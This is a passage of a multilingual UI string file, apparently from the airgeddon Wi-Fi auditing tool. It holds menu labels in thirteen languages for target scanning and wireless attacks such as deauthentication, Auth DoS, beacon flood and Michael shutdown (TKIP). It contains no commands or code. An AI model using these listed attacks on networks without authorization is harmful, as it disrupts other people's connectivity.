seleccionado: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["FRENCH",43]="BSSID sélectionné: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["CATALAN",43]="BSSID seleccionat: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["PORTUGUESE",43]="BSSID selecionado: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["RUSSIAN",43]="Выбранный BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["GREEK",43]="Επιλεγμένο BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ITALIAN",43]="BSSID selezionato: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["POLISH",43]="Wybrany BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["GERMAN",43]="Ausgewählte BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["TURKISH",43]="Seçildi BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ARABIC",43]="\${brown_color}(\${selected_network_type_text}) \${pink_color}\${bssid}\${blue_color} :المختار BSSID\${normal_color}" arr["CHINESE",43]="选中 AP 的 BSSID: \${pink_color}\${bssid} \${brown_color}(\${selected_network_type_text})\${normal_color}" arr["ENGLISH",44]="Selected channel: \${pink_color}\${channel}\${normal_color}" arr["SPANISH",44]="Canal seleccionado: \${pink_color}\${channel}\${normal_color}" arr["FRENCH",44]="Canal sélectionné: \${pink_color}\${channel}\${normal_color}" arr["CATALAN",44]="Canal seleccionat: \${pink_color}\${channel}\${normal_color}" arr["PORTUGUESE",44]="Canal selecionado: \${pink_color}\${channel}\${normal_color}" arr["RUSSIAN",44]="Выбранный канал: \${pink_color}\${channel}\${normal_color}" arr["GREEK",44]="Επιλεγμένο κανάλι: \${pink_color}\${channel}\${normal_color}" arr["ITALIAN",44]="Canale selezionato: \${pink_color}\${channel}\${normal_color}" arr["POLISH",44]="Wybrany kanał: \${pink_color}\${channel}\${normal_color}" arr["GERMAN",44]="Ausgewählter Kanal: \${pink_color}\${channel}\${normal_color}" arr["TURKISH",44]="Seçilen kanal: \${pink_color}\${channel}\${normal_color}" arr["ARABIC",44]="\${pink_color}\${channel}\${blue_color} :القناة المختارة\${normal_color}" arr["CHINESE",44]="当前信道: \${pink_color}\${channel}\${normal_color}" arr["ENGLISH",45]="Selected ESSID: \${pink_color}\${essid}\${blue_color} <- can't be used" arr["SPANISH",45]="ESSID seleccionado: \${pink_color}\${essid}\${blue_color} <- no se puede usar" arr["FRENCH",45]="ESSID sélectionné: \${pink_color}\${essid}\${blue_color} <- ne peut pas être utilisé" arr["CATALAN",45]="ESSID seleccionat: \${pink_color}\${essid}\${blue_color} <- no es pot utilitzar" arr["PORTUGUESE",45]="ESSID selecionado: \${pink_color}\${essid}\${blue_color} <- não pode ser utilizado" arr["RUSSIAN",45]="Выбранный ESSID: \${pink_color}\${essid}\${blue_color} <- не может быть использован" arr["GREEK",45]="Επιλεγμένο ESSID: \${pink_color}\${essid}\${blue_color} <- δεν μπορεί να χρησιμοποιηθεί" arr["ITALIAN",45]="ESSID selezionato: \${pink_color}\${essid}\${blue_color} <- non può essere utilizzato" arr["POLISH",45]="Wybrany ESSID: \${pink_color}\${essid}\${blue_color} <- nie można używać" arr["GERMAN",45]="Ausgewählte ESSID: \${pink_color}\${essid}\${blue_color} <- kann nicht verwendet werden" arr["TURKISH",45]="Seçilen ESSID: \${pink_color}\${essid}\${blue_color} <- kullanılamaz" arr["ARABIC",45]="لا يمكن استخدامه -> \${pink_color}\${essid}\${blue_color} :المختار ESSID" arr["CHINESE",45]="选择的 ESSID: \${pink_color}\${essid}\${blue_color} <- 不能使用" arr["ENGLISH",46]="Selected ESSID: \${pink_color}\${essid}\${normal_color}" arr["SPANISH",46]="ESSID seleccionado: \${pink_color}\${essid}\${normal_color}" arr["FRENCH",46]="ESSID sélectionné: \${pink_color}\${essid}\${normal_color}" arr["CATALAN",46]="ESSID seleccionat: \${pink_color}\${essid}\${normal_color}" arr["PORTUGUESE",46]="ESSID selecionado: \${pink_color}\${essid}\${normal_color}" arr["RUSSIAN",46]="Выбранный ESSID: \${pink_color}\${essid}\${normal_color}" arr["GREEK",46]="Επιλεγμένο ESSID: \${pink_color}\${essid}\${normal_color}" arr["ITALIAN",46]="ESSID selezionato: \${pink_color}\${essid}\${normal_color}" arr["POLISH",46]="Wybrano ESSID: \${pink_color}\${essid}\${normal_color}" arr["GERMAN",46]="Ausgewählte ESSID: \${pink_color}\${essid}\${normal_color}" arr["TURKISH",46]="Seçildi ESSID: \${pink_color}\${essid}\${normal_color}" arr["ARABIC",46]="\${pink_color}\${essid}\${blue_color} :المختار ESSID\${normal_color}" arr["CHINESE",46]="选中 AP 的 ESSID: \${pink_color}\${essid}\${normal_color}" arr["ENGLISH",47]="Select an option from menu:" arr["SPANISH",47]="Selecciona una opción del menú:" arr["FRENCH",47]="Choisissez une des options du menu:" arr["CATALAN",47]="Selecciona una opció del menú:" arr["PORTUGUESE",47]="Selecione uma opção no menu:" arr["RUSSIAN",47]="Выбрать опцию из меню:" arr["GREEK",47]="Επιλέξτε μία επιλογή από το μενού:" arr["ITALIAN",47]="Selezionare un'opzione del menú:" arr["POLISH",47]="Wybierz opcję z menu:" arr["GERMAN",47]="Wählen Sie eine Menüoption:" arr["TURKISH",47]="Menüden bir ayar seçiniz:" arr["ARABIC",47]=":حدد خيارا من القائمة" arr["CHINESE",47]="请从菜单中选择选项:" arr["ENGLISH",48]="1. Select another network interface" arr["SPANISH",48]="1. Selecciona otra interfaz de red" arr["FRENCH",48]="1. Sélectionnez une autre interface réseaux" arr["CATALAN",48]="1. Selecciona un altra interfície de xarxa" arr["PORTUGUESE",48]="1. Selecione outra interface de rede" arr["RUSSIAN",48]="1. Выбрать другой сетевой интерфейс" arr["GREEK",48]="1. Επιλογή διαφορετικής διεπαφής" arr["ITALIAN",48]="1. Selezionare un'altra interfaccia di rete" arr["POLISH",48]="1. Wybierz inny interfejs sieciowy" arr["GERMAN",48]="1. Wählen Sie ein anderes Netzwerk-Interface" arr["TURKISH",48]="1. Başka bir ağ arayüzü seç" arr["ARABIC",48]="1. حدد واجهة شبكة أخرى" arr["CHINESE",48]="1. 选择另一个网络接口" arr["ENGLISH",49]="4. Explore for targets (monitor mode needed)" arr["SPANISH",49]="4. Explorar para buscar objetivos (modo monitor requerido)" arr["FRENCH",49]="4. Détection des réseaux pour choisir une cible (modo moniteur obligatoire)" arr["CATALAN",49]="4. Explorar per buscar objectius (es requereix mode monitor)" arr["PORTUGUESE",49]="4. Procurar por redes wifi (modo monitor obrigatório)" arr["RUSSIAN",49]="4. Поиск целей (необходим режим монитора)" arr["GREEK",49]="4. Εξερεύνηση στόχων (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",49]="4. Esplora per cercare obiettivi (modalità monitor richiesta)" arr["POLISH",49]="4. Skanowanie możliwych celów (wymagany tryb monitorowania)" arr["GERMAN",49]="4. Scannen, um Ziele zu finden (Monitor-Modus erforderlich)" arr["TURKISH",49]="4. Hedefleri tara (izleme modu gereklidir)" arr["ARABIC",49]="4. (إلزامي monitor mode) اكتشاف الشبكات لاختيار الهدف" arr["CHINESE",49]="4. 扫描目标 (需要监听模式)" arr["ENGLISH",50]="monitor mode needed for attacks" arr["SPANISH",50]="modo monitor requerido en ataques" arr["FRENCH",50]="modo moniteur obligatoire pour ces attaques" arr["CATALAN",50]="mode monitor requerit per atacs" arr["PORTUGUESE",50]="modo monitor necessário para ataques" arr["RUSSIAN",50]="для атак необходим режим монитора" arr["GREEK",50]="χρειάζεται η κατάσταση παρακολούθησης για τις επιθέσεις" arr["ITALIAN",50]="modalità monitor richiesta per gli attacchi" arr["POLISH",50]="wymagany tryb monitorowania do wykonania ataku" arr["GERMAN",50]="Monitor-Modus bei Angriffen erforderlich" arr["TURKISH",50]="saldırılar için izleme modu gereklidir" arr["ARABIC",50]="مطلوب للهجمات monitor mode" arr["CHINESE",50]="以下攻击需要监听模式" arr["ENGLISH",51]="5. Deauth / disassoc amok \${mdk_command} attack" arr["SPANISH",51]="5. Ataque Deauth / Disassoc amok \${mdk_command}" arr["FRENCH",51]="5. Attaque Deauth / Disassoc amok \${mdk_command}" arr["CATALAN",51]="5. Atac Deauth / Disassoc amok \${mdk_command}" arr["PORTUGUESE",51]="5. Ataque Deauth / Disassoc amok \${mdk_command}" arr["RUSSIAN",51]="5. Атака деаутентификации / разъединения amok \${mdk_command}" arr["GREEK",51]="5. Επίθεση Deauth / Disassoc amok \${mdk_command}" arr["ITALIAN",51]="5. Attacco Deauth / Disassoc amok \${mdk_command}" arr["POLISH",51]="5. Atak Deauth / Disassoc amok \${mdk_command}" arr["GERMAN",51]="5. Deauth / Disassoc Amok \${mdk_command} Angriff" arr["TURKISH",51]="5. Deauth / disassoc amok \${mdk_command} saldırısı" arr["ARABIC",51]="5. DeAuth / Disassoc amok \${mdk_command} هجوم" arr["CHINESE",51]="5. \${mdk_command} amok 解除身份验证攻击" arr["ENGLISH",52]="6. Deauth aireplay attack" arr["SPANISH",52]="6. Ataque Deauth aireplay" arr["FRENCH",52]="6. Attaque Deauth aireplay" arr["CATALAN",52]="6. Atac Deauth aireplay" arr["PORTUGUESE",52]="6. Ataque Deauth aireplay" arr["RUSSIAN",52]="6. Атака деаутентификации aireplay" arr["GREEK",52]="6. Επίθεση Deauth aireplay" arr["ITALIAN",52]="6. Attacco Deauth aireplay" arr["POLISH",52]="6. Atak Deauth aireplay" arr["GERMAN",52]="6. Deauth aireplay Angriff" arr["TURKISH",52]="6. Deauth aireplay saldırısı" arr["ARABIC",52]="6. DeAuth aireplay هجوم" arr["CHINESE",52]="6. aireplay 解除身份验证攻击" arr["ENGLISH",53]="9. WIDS / WIPS / WDS Confusion attack" arr["SPANISH",53]="9. Ataque WIDS / WIPS / WDS Confusion" arr["FRENCH",53]="9. Attaque WIDS / WIPS / WDS Confusion" arr["CATALAN",53]="9. Atac WIDS / WIPS / WDS Confusion" arr["PORTUGUESE",53]="9. Ataque Confusion WIDS / WIPS / WDS" arr["RUSSIAN",53]="9. Атака запутывания WIDS / WIPS / WDS" arr["GREEK",53]="9. Επίθεση σύγχυσης WIDS / WIPS / WDS" arr["ITALIAN",53]="9. Attacco WIDS / WIPS / WDS Confusion" arr["POLISH",53]="9. Ataki WIDS / WIPS / WDS" arr["GERMAN",53]="9. WIDS / WIPS / WDS Confusion Angriff" arr["TURKISH",53]="9. WIDS / WIPS / WDS Confusion saldırısı" arr["ARABIC",53]="9. WIDS / WIPS / WDS Confusion هجوم" arr["CHINESE",53]="9. WIDS / WIPS / WDS 混淆攻击" arr["ENGLISH",54]="old \"obsolete/non very effective\" attacks" arr["SPANISH",54]="antiguos ataques \"obsoletos/no muy efectivos\"" arr["FRENCH",54]="anciennes attaques \"obsolètes/peu efficaces\"" arr["CATALAN",54]="antics atacs \"obsolets/no molt efectius\"" arr["PORTUGUESE",54]="ataques antigos \"obsoletos/não muito eficazes\"" arr["RUSSIAN",54]="старые \"устаревшие/не очень эффективные\" атаки" arr["GREEK",54]="παλιές \"απαρχαιωμένες/όχι και τόσο αποδοτικές\" επιθέσεις" arr["ITALIAN",54]="vecchi attacchi \"obsoleti/non molto efficaci\"" arr["POLISH",54]="stare ataki \"przestarzałe/niezbyt skuteczne\"" arr["GERMAN",54]="alte Angriffe \"veraltet/nicht sehr effektiv\"" arr["TURKISH",54]="eski \"obsolete/non çok etkili\" saldırılar" arr["ARABIC",54]="هجمات القديمة \"عفا عليها الزمن/ليست فعالة جدا\"" arr["CHINESE",54]="过时的 / 可能不是很有效的攻击" arr["ENGLISH",55]="2. Put interface in monitor mode" arr["SPANISH",55]="2. Poner la interfaz en modo monitor" arr["FRENCH",55]="2. Passer l'interface en mode moniteur" arr["CATALAN",55]="2. Configurar la interfície en mode monitor" arr["PORTUGUESE",55]="2. Colocar a interface em modo monitor" arr["RUSSIAN",55]="2. Перевести интерфейс в режим монитора" arr["GREEK",55]="2. Βάλτε τη διεπαφή σε κατάσταση παρακολούθησης" arr["ITALIAN",55]="2. Mettere l'interfaccia in modalità monitor" arr["POLISH",55]="2. Uruchom interfejs w trybie monitorowania" arr["GERMAN",55]="2. Setzen Sie das Interface im Monitor-Modus ein" arr["TURKISH",55]="2. Arayüzün izleme modunu aç" arr["ARABIC",55]="2. Monitor mode ضع الواجهة على" arr["CHINESE",55]="2. 将当前接口设置为监听模式 (Monitor)" arr["ENGLISH",56]="3. Put interface in managed mode" arr["SPANISH",56]="3. Poner la interfaz en modo managed" arr["FRENCH",56]="3. Passer l'interface en mode managed" arr["CATALAN",56]="3. Configurar la interfície en mode managed" arr["PORTUGUESE",56]="3. Colocar a interface em modo managed" arr["RUSSIAN",56]="3. Перевести интерфейс в управляемый режим" arr["GREEK",56]="3. Βάλτε τη διεπαφή σε ετερόκλητη κατάσταση" arr["ITALIAN",56]="3. Mettere l'interfaccia in modalità managed" arr["POLISH",56]="3. Uruchom interfejs w trybie zarządzanym" arr["GERMAN",56]="3. Setzen Sie das Interface im Managed-Modus ein" arr["TURKISH",56]="3. Arayüzün yönetici modunu aç" arr["ARABIC",56]="3. Managed mode ضع الواجهة على" arr["CHINESE",56]="3. 将当前接口设置为管理模式 (Managed)" arr["ENGLISH",57]="10. Enterprise attacks menu" arr["SPANISH",57]="10. Menú de ataques Enterprise" arr["FRENCH",57]="10. Menu d'attaque Entreprise" arr["CATALAN",57]="10. Menú d'atacs Enterprise" arr["PORTUGUESE",57]="10. Menu de ataques Enterprise" arr["RUSSIAN",57]="10. Меню Enterprise атак" arr["GREEK",57]="10. Μενού επιλογών Enterprise" arr["ITALIAN",57]="10. Menu dell'attacco Enterprise" arr["POLISH",57]="10. Menu ataków Enterprise" arr["GERMAN",57]="10. Enterprise-Angriffsmenü" arr["TURKISH",57]="10. Enterprise saldırılar menüsü" arr["ARABIC",57]="10. Entreprise قائمة هجمات" arr["CHINESE",57]="10. 企业级加密攻击菜单" arr["ENGLISH",58]="9. Polish" arr["SPANISH",58]="9. Polaco" arr["FRENCH",58]="9. Polonais" arr["CATALAN",58]="9. Polonès" arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="9. Польский" arr["GREEK",58]="9. Πολωνικά" arr["ITALIAN",58]="9. Polacco" arr["POLISH",58]="9. Polski" arr["GERMAN",58]="9. Polnisch" arr["TURKISH",58]="9. Polish" arr["ARABIC",58]="9. البولندية" arr["CHINESE",58]="9. 波兰语" arr["ENGLISH",59]="0. Return to main menu" arr["SPANISH",59]="0. Volver al menú principal" arr["FRENCH",59]="0. Retourner au menu principal" arr["CATALAN",59]="0. Tornar al menú principal" arr["PORTUGUESE",59]="0. Voltar ao menu principal" arr["RUSSIAN",59]="0. Вернуться в главное меню" arr["GREEK",59]="0. Επιστροφή στο αρχικό μενού" arr["ITALIAN",59]="0. Torna al menu principale" arr["POLISH",59]="0. Wróć do menu głównego" arr["GERMAN",59]="0. Zum Hauptmenü zurück" arr["TURKISH",59]="0. Ana menüye dön" arr["ARABIC",59]="0. العودة إلى القائمة الرئيسية" arr["CHINESE",59]="0. 返回主菜单" arr["ENGLISH",60]="12. About & Credits / Sponsorship mentions" arr["SPANISH",60]="12. Acerca de & Créditos / Menciones de patrocinadores" arr["FRENCH",60]="12. À propos de & Crédits / Mentions du sponsors" arr["CATALAN",60]="12. Sobre & Crédits / Mencions de sponsors" arr["PORTUGUESE",60]="12. Sobre & Créditos / Nossos patrocinadores" arr["RUSSIAN",60]="12. О программе и Благодарности / Спонсорские упоминания" arr["GREEK",60]="12. Σχετικά με & Εύσημα / Αναφορές χορηγίας" arr["ITALIAN",60]="12. Informazioni & Crediti / Menzioni di sponsorizzazione" arr["POLISH",60]="12. O programie & Podziękowania / Wzmianki sponsorskie" arr["GERMAN",60]="12. About & Credits / Sponsoring-Erwähnungen" arr["TURKISH",60]="12. Krediler ve Sponsorluk Hakkında" arr["ARABIC",60]="12. فريق العمل برعاية" arr["CHINESE",60]="12. 关于 & 鸣谢 / 赞助" arr["ENGLISH",61]="0. Exit script" arr["SPANISH",61]="0. Salir del script" arr["FRENCH",61]="0. Sortir du script" arr["CATALAN",61]="0. Sortir del script" arr["PORTUGUESE",61]="0. Sair do script" arr["RUSSIAN",61]="0. Выйти из скрипта" arr["GREEK",61]="0. Έξοδος script" arr["ITALIAN",61]="0. Uscire dallo script" arr["POLISH",61]="0. Zamknij skrypt" arr["GERMAN",61]="0. Skript beenden" arr["TURKISH",61]="0. Yazılımdan çıkış yap" arr["ARABIC",61]="0. الخروج من البرنامج" arr["CHINESE",61]="0. 退出脚本" arr["ENGLISH",62]="8. Beacon flood attack" arr["SPANISH",62]="8. Ataque Beacon flood" arr["FRENCH",62]="8. Attaque Beacon flood" arr["CATALAN",62]="8. Atac Beacon flood" arr["PORTUGUESE",62]="8. Ataque Beacon flood" arr["RUSSIAN",62]="8. Beacon flood атака" arr["GREEK",62]="8. Επίθεση πλημμύρας φάρου (beacon)" arr["ITALIAN",62]="8. Attacco Beacon flood" arr["POLISH",62]="8. Atak Beacon flood" arr["GERMAN",62]="8. Beacon flood Angriff" arr["TURKISH",62]="8. Beacon flood saldırısı" arr["ARABIC",62]="8. Beacon flood هجوم" arr["CHINESE",62]="8. WiFi 信号信标伪造 DoS 攻击 (Beacon flood)" arr["ENGLISH",63]="7. Auth DoS attack" arr["SPANISH",63]="7. Ataque Auth DoS" arr["FRENCH",63]="7. Attaque Auth DoS" arr["CATALAN",63]="7. Atac Auth Dos" arr["PORTUGUESE",63]="7. Ataque Auth DoS" arr["RUSSIAN",63]="7. DoS атака деаутентификации" arr["GREEK",63]="7. Επίθεση Auth DoS" arr["ITALIAN",63]="7. Attacco Auth DoS" arr["POLISH",63]="7. Atak Auth DoS" arr["GERMAN",63]="7. Auth DoS Angriff" arr["TURKISH",63]="7. Auth DoS saldırısı" arr["ARABIC",63]="7. Auth DoS هجوم" arr["CHINESE",63]="7. 身份验证 DoS 攻击 (Auth DoS)" arr["ENGLISH",64]="10. Michael shutdown exploitation (TKIP) attack" arr["SPANISH",64]="10. Ataque Michael shutdown exploitation (TKIP)" arr["FRENCH",64]="10. Attaque Michael shutdown exploitation (TKIP)" arr["CATALAN",64]="10. Atac Michael shutdown exploitation (TKIP)" arr["PORTUGUESE",64]="10. Ataque Michael shutdown exploitation (TKIP)" arr["RUSSIAN",64]="10. Атака Michael shutdown exploitation (TKIP)" arr["GREEK",64]="10. Επίθεση Michael shutdown exploitation (TKIP)" arr["ITALIAN",64]="10. Attacco Michael shutdown exploitation (TKIP)" arr["POLISH",64]="10. Atak Michael shutdown exploitation (TKIP)" arr["GERMAN",64]="10. Michael Shutdown Exploitation Angriff (TKIP)" arr["TURKISH",64]="10. Michael shutdown exploitation (TKIP) saldırısı" arr["ARABIC",64]="10. Michael shutdown exploitation (TKIP) هجوم" arr["CHINESE",64]="10. 迈克尔关机 (TKIP) 攻击 (Michael shutdown exploitation) 仅针对 TKIP 加密的 WiFi 有效" arr["ENGLISH",65]="Exploring for targets option chosen (monitor mode needed)" arr["SPANISH",65]="Elegida opción de exploración para buscar objetivos (modo monitor requerido)" arr["FRENCH",65]="L'option de recherche des objectifs a été choisie (modo moniteur nécessaire)" arr["CATALAN",65]="Seleccionada opció d'exploració per buscar objectius (requerit mode monitor)" arr["PORTUGUESE",65]="Selecione uma opção de busca para encontrar redes wifi (modo monitor obrigatório)" arr["RUSSIAN",65]="Выбрано сканирование целей (необходим режим монитора)" arr["GREEK",65]="Η επιλογή για εξερεύνηση στόχων έχει επιλεχθεί (χρειάζεται η κατάσταση παρακολούθησης)" arr["ITALIAN",65]="Scelta la opzione di scansione per cercare obiettivi (modalità monitor richiesta)" arr["POLISH",65]="Opcja skanowania w celu wyszukania celów wybrana (wymaga trybu monitorowania)" arr["GERMAN",65]="Zielsuche ausgewählt (Monitor-Modus erforderlich)" arr["TURKISH",65]="Hedef tarama modu seçildi (izleme modu gereklidir)" arr["ARABIC",65]="(إلزامي monitor mode) تم تحديد خيار استكشاف الأهداف" arr["CHINESE",65]="扫描目标并选择 (需要监听模式)" arr["ENGLISH",66]="Selected interface \${current_iface_on_messages} is in monitor mode. Exploration can be performed" arr["SPANISH",66]="La interfaz seleccionada \${current_iface_on_messages} está en modo monitor. La exploración se puede realizar" arr["FRENCH",66]="L'interface choisie \${current_iface_on_messages} est en mode moniteur. L'exploration des réseaux environnants peut s'effectuer" arr["CATALAN",66]="La interfície seleccionada \${current_iface_on_messages} està en mode monitor. L'exploració es pot realitzar" arr["PORTUGUESE",66]="A interface selecionada \${current_iface_on_messages} está no modo monitor. A verificação pode ser realizada" arr["RUSSIAN",66]="Выбранный интерфейс \${current_iface_on_messages} в режиме монитора. Сканирование может быть выполнено" arr["GREEK",66]="Η επιλεγμένη διεπαφή \${current_iface_on_messages} είναι σε κατάσταση παρακολούθησης. Μπορεί να γίνει εξερεύνηση" arr["ITALIAN",66]="L'interfaccia selezionata \${current_iface_on_messages} è in modalità monitor. La scansione può essere eseguita" arr["POLISH",66]="Wybrany interfejs \${current_iface_on_messages} jest w trybie monitorowania. Można wykonać skanowanie" arr["GERMAN",66]="Das ausgewählte Interface \${current_iface_on_messages} befindet sich im monitor-Modus. Der Scan kann durchgeführt werden" arr["TURKISH",66]="Seçilen arayüz \${current_iface_on_messages} izleme modunda. Tarama gerçekleştirilebilir" arr["ARABIC",66]="يمكن إجراء الاستكشاف .monitor mode في وضع \${current_iface_on_messages} الواجهة المختارة" arr["CHINESE",66]="所选接口 \${current_iface_on_messages} 已处于监听模式。可以扫描目标" arr["ENGLISH",67]="WEP filter enabled in scan. When started, press [Ctrl+C] to stop..." arr["SPANISH",67]="Filtro WEP activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",67]="Le filtre WEP est activé dans le scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",67]="Filtre WEP activat en escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." arr["PORTUGUESE",67]="Filtro WEP ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",67]="Для сканирования активирован фильтр WEP. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",67]="Το φίλτρο WEP ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." arr["ITALIAN",67]="Filtro WEP attivato durante la scansione. Una volta avviato, premere [Ctrl+C] per fermarlo..." arr["POLISH",67]="Filtr WEP aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["GERMAN",67]="WEP-Filter beim Scannen aktiviert. Nach den Start, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",67]="WEP filtesi taraması etkin. Başladıktan sonra, durdurmak için [Ctrl+C] tuşlayınız..." arr["ARABIC",67]="...للإيقاف [Ctrl+C] في المسح. عند البدء ، اضغط على WEP تم تفعيل مرشح" arr["CHINESE",67]="扫描中启用了 WEP 过滤器。按 [Ctrl+C] 终止..." arr["ENGLISH",68]="No networks found" arr["SPANISH",68]="No se encontraron redes" arr["FRENCH",68]="Aucun réseau détecté" arr["CATALAN",68]="No s'han trobat xarxes" arr["PORTUGUESE",68]="Nenhuma rede encontrada" arr["RUSSIAN",68]="Сетей не найдено" arr["GREEK",68]="Δεν βρέθηκαν δίκτυα" arr["ITALIAN",68]="Nessuna rete trovata" arr["POLISH",68]="Nie znaleziono sieci" arr["GERMAN",68]="Keine Netzwerke wurden gefunden" arr["TURKISH",68]="Herhangi bir ağ bulunamadı" arr["ARABIC",68]="لم نعثر على أي شبكة" arr["CHINESE",68]="未找到网络" arr["ENGLISH",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["SPANISH",69]=" N. BSSID CANAL PWR ENC ESSID" arr["FRENCH",69]=" N. BSSID CANAL PWR ENC ESSID" arr["CATALAN",69]=" N. BSSID CANAL PWR ENC ESSID" arr["PORTUGUESE",69]=" N. BSSID CANAL PWR ENC ESSID" arr["RUSSIAN",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["GREEK",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["ITALIAN",69]=" N. BSSID CANALE PWR ENC ESSID" arr["POLISH",69]=" N. BSSID KANAŁ PWR ENC ESSID" arr["GERMAN",69]=" N. BSSID KANAL PWR ENC ESSID" arr["TURKISH",69]=" N. BSSID KANAL PWR ENC ESSID" arr["ARABIC",69]=" N. BSSID CHANNEL PWR ENC ESSID" arr["CHINESE",69]=" 序号 BSSID 信道 信号强度 加密方式 ESSID" arr["ENGLISH",70]="Only one target detected. Autoselected" arr["SPANISH",70]="Sólo un objetivo detectado. Se ha seleccionado automáticamente" arr["FRENCH",70]="Un seul réseau a été détecté. Il a été automatiquement sélectionné" arr["CATALAN",70]="Només un objectiu detectat. Seleccionat automàticament" arr["PORTUGUESE",70]="Apenas uma rede encontrada. Ela foi selecionada automaticamente" arr["RUSSIAN",70]="Обнаружена только одна цель. Выбрана автоматически" arr["GREEK",70]="Εντοπίστηκε μόνο ένας στόχος. Επιλέχθηκε αυτόματα" arr["ITALIAN",70]="Solo un obiettivo rilevato. É stato selezionato automaticamente" arr["POLISH",70]="Wykryto tylko jeden cel. Wybrany automatycznie" arr["GERMAN",70]="Nur ein Ziel erkannt. Es wurde automatisch ausgewählt" arr["TURKISH",70]="Sadece bir hedef tespit edildi. Otomatik olarak seçildi" arr["ARABIC",70]="تم اكتشاف هدف واحد فقط. وقد تم الإختيار تلقائيا" arr["CHINESE",70]="只检测到一个目标。自动选择" arr["ENGLISH",71]="(*) Network with clients" arr["SPANISH",71]="(*) Red con clientes" arr["FRENCH",71]="(*) Réseau avec clients" arr["CATALAN",71]="(*) Xarxa amb clients" arr["PORTUGUESE",71]="(*) Rede com clientes" arr["RUSSIAN",71]="(*) Сеть с клиентами" arr["GREEK",71]="(*) Δίκτυο με χρήστες" arr["ITALIAN",71]="(*) Rete con clienti" arr["POLISH",71]="(*) Sieć z podłączonymi klientami" arr["GERMAN",71]="(*) Netzwerk mit Benutzern" arr["TURKISH",71]="(*) Ağ ile istemciler" arr["ARABIC",71]="(*) شبكة مع زبناء" arr["CHINESE",71]="(*) 有活动用户的无线网络" arr["ENGLISH",72]="Invalid target network was chosen" arr["SPANISH",72]="Red objetivo elegida no válida" arr["FRENCH",72]="Le choix du réseau cible est invalide" arr["CATALAN",72]="Xarxa de destí seleccionada no vàlida" arr["PORTUGUESE",72]="A rede escolhida é inválida" arr["RUSSIAN",72]="Была выбрана неподходящая целевая сеть" arr["GREEK",72]="Επιλέχθηκε άκυρο δίκτυο" arr["ITALIAN",72]="La rete scelta come obiettivo non è valida" arr["POLISH",72]="Wybrano nieprawidłową sieć docelową" arr["GERMAN",72]="ungültiges Zielnetzwerk ausgewählt" arr["TURKISH",72]="Gerçersiz hedef ağ seçildi" arr["ARABIC",72]="تم اختيار شبكة مستهدفة غير صالحة" arr["CHINESE",72]="选择了无效的目标网络" arr["ENGLISH",73]="airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} developed by:" arr["SPANISH",73]="airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} programado por:" arr["FRENCH",73]="Le script airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} a été programmé par:" arr["CATALAN",73]="airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} desenvolupat per:" arr["PORTUGUESE",73]="Script airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} desenvolvido por:" arr["RUSSIAN",73]="скрипт airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} создал:" arr["GREEK",73]="Το airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} προγραμματίστηκε από:" arr["ITALIAN",73]="airgeddon script \${normal_color}v\${airgeddon_version}\${blue_color} sviluppato da:" arr["POLISH",73]="Skrypt airgeddon \${normal_color}v\${airgeddon_version}\${blue_color} napisany przez:" arr["GERMAN",73]="airgeddon Skript \${normal_color}v\${airgeddon_version}\${blue_color} entwickelt von:" arr["TURKISH",73]="airgeddon yazılımı \${normal_color}v\${airgeddon_version}\${blue_color} geliştiricisi:" arr["ARABIC",73]=":بواسطة \${normal_color}v\${airgeddon_version}\${blue_color} تمت برمجة" arr["CHINESE",73]="airgeddon 脚本 \${normal_color}v\${airgeddon_version}\${blue_color} 开发者:" arr["ENGLISH",74]="This script is under GPLv3 (or later) License" arr["SPANISH",74]="Este script está bajo Licencia GPLv3 (o posterior)" arr["FRENCH",74]="Script publié sous Licence GPLv3 (ou version supèrieure)" arr["CATALAN",74]="Aquest script està publicat sota llicència GPLv3 (o versió superior)" arr["PORTUGUESE",74]="Este script está sob licença GPLv3 (ou posterior)" arr["RUSSIAN",74]="Этот скрипт под лицензией GPLv3 (или более поздней)" arr["GREEK",74]="Αυτό το script είναι υπό την άδεια GPLv3 (ή νεότερη)" arr["ITALIAN",74]="Questo script è sotto GPLv3 (o versione successiva)" arr["POLISH",74]="Ten skrypt objęty jest licencją GPLv3 (lub nowszą)" arr["GERMAN",74]="Dieses Skript ist unter GPLv3 (oder höher) lizenziert" arr["TURKISH",74]="Bu yazılım GPLv3 (ya da daha üstü) lisansı altındadır" arr["ARABIC",74]="(أو أحدث) GPLv3 هذا البرنامج خاضع لترخيص" arr["CHINESE",74]="此脚本遵循 GPLv3 (或更高版本) 的开源许可证" 